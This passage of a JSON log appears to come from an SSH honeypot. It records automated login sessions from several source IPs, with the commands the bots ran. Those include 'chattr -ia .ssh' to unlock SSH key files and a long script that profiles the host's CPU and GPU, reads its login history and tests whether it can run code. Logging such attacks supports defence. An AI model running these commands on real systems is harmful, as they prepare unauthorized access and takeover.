  "src_ip": "202.155.157.112",
  "src_port": 53078,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:46.483136+00:00",
  "ended_at": "2026-08-27T10:58:47.941713+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b87d6e60-30a9-4528-9f69-ad99952957e5",
  "name": "courtly-graceful-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53068,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:43.245101+00:00",
  "ended_at": "2026-08-27T10:58:44.361243+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0511a491-8962-4b6e-9d52-4b74bded357f",
  "name": "deft-woven-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 36854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:57:40.362900+00:00",
  "ended_at": "2026-08-27T10:57:41.025107+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "2e34e403-a5e8-42a7-a918-e7c09159be99",
  "name": "crimson-prickly-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 47272,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:57:34.853596+00:00",
  "ended_at": "2026-08-27T10:57:34.971530+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d1f6f777-d07e-49f1-990b-bb4f3eaa351f",
  "name": "creaky-gritty-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:57:33.586256+00:00",
  "ended_at": "2026-08-27T10:57:34.871119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40ee801e-b678-4978-af70-fc792f200916",
  "name": "rapid-brazen-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36864,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:57:31.565883+00:00",
  "ended_at": "2026-08-27T10:57:33.068273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "317d8157-b57e-4ed5-be40-8dc6e8edcb24",
  "name": "wistful-rapid-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 40000,
  "username": "ethereumdocker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:56:34.006871+00:00",
  "ended_at": "2026-08-27T10:56:34.111204+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "68496739-8a9a-467b-94a5-acefe8419b5b",
  "name": "breezy-calm-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 57250,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 770,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:56:28.265960+00:00",
  "ended_at": "2026-08-27T10:56:29.023573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2059
 },
 {
  "id": "d9db2b6a-2f5a-4d3c-8929-928976740fde",
  "name": "dewy-valiant-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58726,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:56:20.234678+00:00",
  "ended_at": "2026-08-27T10:56:20.861006+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2064
 },
 {
  "id": "5a98b349-baf7-4562-a30b-bb60a7c86f51",
  "name": "prickly-lucid-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59760,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:12.980796+00:00",
  "ended_at": "2026-08-27T10:56:14.721095+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8538c0c-44d1-4746-aba8-773fa57aaa3f",
  "name": "frosty-early-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59746,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:10.605216+00:00",
  "ended_at": "2026-08-27T10:56:11.462314+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e6a9bc0-193b-414b-8a50-0a373fa4d9c2",
  "name": "sturdy-bold-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58736,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:09.847569+00:00",
  "ended_at": "2026-08-27T10:56:11.486600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a6e1ac6-7fa8-4c74-b7b2-02cf65e0b7fa",
  "name": "dewy-tidal-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58728,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:56:08.170899+00:00",
  "ended_at": "2026-08-27T10:56:08.957453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3c5ef7b-2f3a-4202-8491-8bebf1cf07e5",
  "name": "arctic-tranquil-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 44258,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:55:51.401653+00:00",
  "ended_at": "2026-08-27T10:55:51.554551+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8d39b6fb-50a8-4265-b340-a786844a334a",
  "name": "downy-frugal-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 41246,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:54:09.325814+00:00",
  "ended_at": "2026-08-27T10:54:09.457279+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3c1e84a4-66ba-4c8d-a5c4-f0df80121267",
  "name": "mellow-velvet-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 53504,
  "username": "pgsql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:54:03.988939+00:00",
  "ended_at": "2026-08-27T10:54:04.088742+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "a98b8c64-f7c7-437b-8233-3196f219467d",
  "name": "sterling-lucid-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46284,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:53:52.986704+00:00",
  "ended_at": "2026-08-27T10:53:53.797790+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "fd7df18a-de75-48ff-a657-85afc4bf2dd7",
  "name": "marbled-freckled-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 32834,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:53:38.682349+00:00",
  "ended_at": "2026-08-27T10:53:39.801591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "583c4972-49f2-4b0f-9cbf-d4bcf0692c98",
  "name": "sullen-quiet-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46292,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:53:36.374116+00:00",
  "ended_at": "2026-08-27T10:53:37.173907+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4dc9bf3-9c93-4748-810e-7da8a48122cd",
  "name": "slender-wooded-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58704,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:52:59.834443+00:00",
  "ended_at": "2026-08-27T10:53:00.554651+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2050
 },
 {
  "id": "75959a23-2619-4688-a2a9-be3c32f0a780",
  "name": "sooty-dusty-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58724,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:52:49.796965+00:00",
  "ended_at": "2026-08-27T10:52:51.363848+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89b5df19-92ad-4934-b115-f2e11c5cdc1d",
  "name": "snowy-woven-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:52:47.220869+00:00",
  "ended_at": "2026-08-27T10:52:48.873387+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5f4c947-05ce-48de-be9a-e9cba9399b68",
  "name": "serene-grumpy-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 38300,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:52:28.518686+00:00",
